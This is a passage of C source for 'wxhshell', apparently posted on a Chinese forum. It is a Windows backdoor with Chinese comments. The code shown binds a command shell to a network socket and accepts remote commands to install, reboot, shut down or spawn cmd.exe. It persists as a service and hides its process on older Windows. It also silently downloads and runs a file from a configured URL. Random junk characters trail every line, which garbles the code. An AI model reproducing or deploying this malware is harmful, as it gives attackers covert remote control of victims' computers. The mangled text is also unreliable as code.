  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JY3!jtv  
  } *?+2%zP  
  else { QRwOv  
im F,8'  
    switch(cmd[0]) { 6rlvSdB  
  ]hZk #rp}  
  // 帮助 bb$1zSA  
  case '?': { E CPSE {  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,Qj\_vr@  
    break; 8#HQ05q>  
  } 0f9U:)1z  
  // 安装 <}F(G-kV6  
  case 'i': { )M8@|~~  
    if(Install()) ,Bj]j -\Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vgi`.hk  
    else .I%B$eH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "tu*(>'~5  
    break; j?VHR$  
    } V(Oi!(H;v  
  // 卸载 S(0JBGC  
  case 'r': { 7mL1$i6=  
    if(Uninstall()) aj-:JTf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .GWN~iR(  
    else Hio+k^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AG"iS<u  
    break; IEWl I  
    } LYTnMrM  
  // 显示 wxhshell 所在路径 ^Zlbs goZ  
  case 'p': { zR?1iV.]  
    char svExeFile[MAX_PATH]; qipS`:TER  
    strcpy(svExeFile,"\n\r"); {vur9L  
      strcat(svExeFile,ExeFile); rym*W\AWx  
        send(wsh,svExeFile,strlen(svExeFile),0); #r]GnC,  
    break; ACF_;4%&  
    } .:tR*Kst`7  
  // 重启 "WH &BhQYD  
  case 'b': { wkT4R\H>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); EW/NH&{  
    if(Boot(REBOOT)) 'lmjZ{k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l !ZzJ&  
    else { \!k\%j 9  
    closesocket(wsh); A@reIt  
    ExitThread(0); ?28)l 4 Ml  
    } In*0.   
    break; {fMo#`9=  
    } =.,XJIw&  
  // 关机 :)Da^V  
  case 'd': { Me^L%%: @  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =q[ynZ8O\w  
    if(Boot(SHUTDOWN)) 1"T&B0G3l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E cd~H+  
    else { rK4 pYo  
    closesocket(wsh); ?S.LGc  
    ExitThread(0); ~xc0Ky?8  
    } >uE<-klv  
    break; eYPIZ{S7h  
    } Gz7,g Y  
  // 获取shell &+/$~@OK  
  case 's': { Zm#,Ike?#  
    CmdShell(wsh); '@"A{mrE  
    closesocket(wsh); <XzRRCYQ  
    ExitThread(0); LtNspFoLb  
    break; SA [(1dy;  
  } Qd}h:U^  
  // 退出 '(8} <(%  
  case 'x': { ryTtGx%a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :kXxxS  
    CloseIt(wsh); zF&_9VNk=c  
    break; .iST!nh  
    } =HMuAUa.  
  // 离开 YW"nPZNPy~  
  case 'q': { nDNK}O~'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *k0;R[IAV  
    closesocket(wsh); aI\]R:f,  
    WSACleanup(); bLUyZ3m!  
    exit(1); <O{G&  
    break; 6lwWFR+k  
        } q4Y'yp`?K;  
  } UO-,A j*wW  
  } %gTY7LIe1z  
I!.-}]k  
  // 提示信息 7Q aZ|\c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A$TF a:O|  
} Q|Nw @7$`  
  } p(A[ah_  
_ sBFs.o  
  return; D~,i I7ac  
} Dj w#{WR  
W;8}`k  
// shell模块句柄 s_6Iz^]I  
int CmdShell(SOCKET sock) z{qn|#}  
{ Bc}e ??F  
STARTUPINFO si; Sbj{)  
ZeroMemory(&si,sizeof(si)); ,k m`-6.2?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lsVg'k/Z!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q{7+N1 "  
PROCESS_INFORMATION ProcessInfo; 5_SxX@fW %  
char cmdline[]="cmd"; u)l[*";S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &>XSQB(&%  
  return 0; 5%" 0  
} sA+( |cEh  
))J#t{X/8v  
// 自身启动模式 a1ai?},  
int StartFromService(void) ['I5(M@  
{ ak(P<OC-  
typedef struct ?<soX8_1  
{ YTfMYH=}  
  DWORD ExitStatus; Ft8ii|-  
  DWORD PebBaseAddress; !3o]mBH8  
  DWORD AffinityMask; Y+3r{OI  
  DWORD BasePriority; wodff_l  
  ULONG UniqueProcessId; F/D/1w^ iR  
  ULONG InheritedFromUniqueProcessId; 5I5#LQv0  
}   PROCESS_BASIC_INFORMATION; I@q4D1g  
ae] hCWK  
PROCNTQSIP NtQueryInformationProcess; J(`(PYo\i  
aMyf|l.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =7zvp,B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5R O_)G<  
]$A6krfh|  
  HANDLE             hProcess; E D_J8 +  
  PROCESS_BASIC_INFORMATION pbi; )eBCO~HS  
J8h H#7WMS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1@Rl^ey  
  if(NULL == hInst ) return 0; =z2g}X  
]ov"&,J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QkY;O<Y_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 200Fd8Ju  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PJ'@!jx  
0,m@BsK  
  if (!NtQueryInformationProcess) return 0; Yn-;+ 4 K  
|A:+[35  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); fMZc_dsW9  
  if(!hProcess) return 0; g=kuM  
L(3} H,t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9jrlB0  
IaRq6=[  
  CloseHandle(hProcess); -[>G@m:?e  
5i&+.?(Z=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vv`,H~M6  
if(hProcess==NULL) return 0; K$~Ja  
\@*D;-b  
HMODULE hMod; W sDFui  
char procName[255]; YXTd^M~@D  
unsigned long cbNeeded; [f-<M@id/  
>^d+;~Q;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fvw&y+|y!  
c+]5[6  
  CloseHandle(hProcess); +q)B4A'J!  
'M3V#5l)@|  
if(strstr(procName,"services")) return 1; // 以服务启动 2(NN QU@Uz  
O`='8'6zW\  
  return 0; // 注册表启动 #jX%nqMxW  
} (J\Qo9Il  
3AarRQWsn  
// 主模块 1EA}[x  
int StartWxhshell(LPSTR lpCmdLine) m-}6DN  
{ nV?e(}D  
  SOCKET wsl; $4]"g}_  
BOOL val=TRUE; =VDtZSa!$^  
  int port=0; ScTeh  
  struct sockaddr_in door; Ck^jgB.7  
e{`DvfY21  
  if(wscfg.ws_autoins) Install(); v/}h y$7  
C-L["O0[  
port=atoi(lpCmdLine); F7qQrE5bl  
sBWLgJz?C  
if(port<=0) port=wscfg.ws_port; N^By#Z  
"%{J$o  
  WSADATA data; /N\[ C"8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uHpSE?y/  
Ke,$3Yx  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ='GY:.N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i sV9nWo$  
  door.sin_family = AF_INET; 1M/_:UH`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /*) =o+  
  door.sin_port = htons(port); hS:j$j e  
**lT ' D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { he1W22  
closesocket(wsl); )w!*6<  
return 1; FVS@z5A8<=  
} D}:M0EBS  
nV+]jQ~o  
  if(listen(wsl,2) == INVALID_SOCKET) { dnUiNs8  
closesocket(wsl); d(j|8/tpA  
return 1; 9mfP9  
} ixIfJ  
  Wxhshell(wsl); Xu#K<#V  
  WSACleanup(); <)$b=z  
<MoKTP-<  
return 0; 0`l(c  
' CO3b,  
} k=qb YGK  
%.;`0}b  
// 以NT服务方式启动 K=X13As_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h"5!puN+  
{ b py576GwA  
DWORD   status = 0; )nJh) {4\  
  DWORD   specificError = 0xfffffff; M4(`o^n  
ITu5Y"x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >J No2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 7e D<(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9a0ibN6m  
  serviceStatus.dwWin32ExitCode     = 0; d 1bx5U  
  serviceStatus.dwServiceSpecificExitCode = 0; dTW3mF4=  
  serviceStatus.dwCheckPoint       = 0; q2KWSh5  
  serviceStatus.dwWaitHint       = 0; EkEU}2  
pUXszPf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b(.,Ex]  
  if (hServiceStatusHandle==0) return; vx8-~Oq{|;  
.ITR3]$  
status = GetLastError(); nPS:T|*G  
  if (status!=NO_ERROR) X[ up$<  
{ $S _VR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QUU'/e2^c  
    serviceStatus.dwCheckPoint       = 0; &lYe  
    serviceStatus.dwWaitHint       = 0; *wetPt)~v_  
    serviceStatus.dwWin32ExitCode     = status; x nm!$ $W  
    serviceStatus.dwServiceSpecificExitCode = specificError; &DgJu.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qC aM]Y  
    return; kan4P@XVS  
  } m6=Jp<  
=ADdfuKN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L 2:N@TP  
  serviceStatus.dwCheckPoint       = 0; RTR@p =ck  
  serviceStatus.dwWaitHint       = 0; 3m9ab"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )dgo oq  
} -^%YrWgd?  
$"G=r(MW  
// 处理NT服务事件,比如:启动、停止 EZvf\s>LT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &;O)Dw  
{ IrZ!.5%tV  
switch(fdwControl) P<WCW3!JZ  
{ p+>vX X  
case SERVICE_CONTROL_STOP: zgh~P^Z  
  serviceStatus.dwWin32ExitCode = 0; K9(Su`zr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^sA"&Vdr^  
  serviceStatus.dwCheckPoint   = 0; R8<'m  
  serviceStatus.dwWaitHint     = 0; f~NGIlgR  
  { YZH &KGY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D-IXO @x  
  } 0cBk/x^s  
  return; X}s}E ;v9  
case SERVICE_CONTROL_PAUSE: #^ cmh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &^4E)F  
  break; +P?^Yx0d  
case SERVICE_CONTROL_CONTINUE: u4UQMj|q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )Cm7v@B   
  break; \h}a?T6  
case SERVICE_CONTROL_INTERROGATE: 2'6:fr=R  
  break; ) HN,Az"  
}; ] oh.w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 56 raZC  
} TQ\\/e:  
<CnTiS#  
// 标准应用程序主函数 lZa L=HS#L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) sjISVJ?  
{ xEfz AJ5&  
w0FkKJV  
// 获取操作系统版本 $J] b+Bp  
OsIsNt=GetOsVer(); }JKK"d}U  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BCK0fk~  
T+y3Ph--^  
  // 从命令行安装 aA5rvP +  
  if(strpbrk(lpCmdLine,"iI")) Install(); 09psqXU@I  
}L1 -2  
  // 下载执行文件 N$i|[>`j  
if(wscfg.ws_downexe) { `>mT/Rmb@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v3vQfcxR  
  WinExec(wscfg.ws_filenam,SW_HIDE); hD5G\TR.  
} mSu1/?PS  
Jm l4EW7  
if(!OsIsNt) { (\=iKE4#  
// 如果时win9x,隐藏进程并且设置为注册表启动 -:|1>og  
HideProc(); &b#O=LF  
StartWxhshell(lpCmdLine); ))qOsphN  
} 4x'N#m{p  
else U%~L){<V[  
  if(StartFromService()) #6%9*Rh  
  // 以服务方式启动 `T]1u4^E  
  StartServiceCtrlDispatcher(DispatchTable); rfdT0xfcU  
else @}{~Ofs  
  // 普通方式启动 vQ/&iAyut  
  StartWxhshell(lpCmdLine); E4nj*Lp~+  
%j3 *j  
return 0; 8=%%C:  
}
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只看该作者 1 发表于: 2006-10-10
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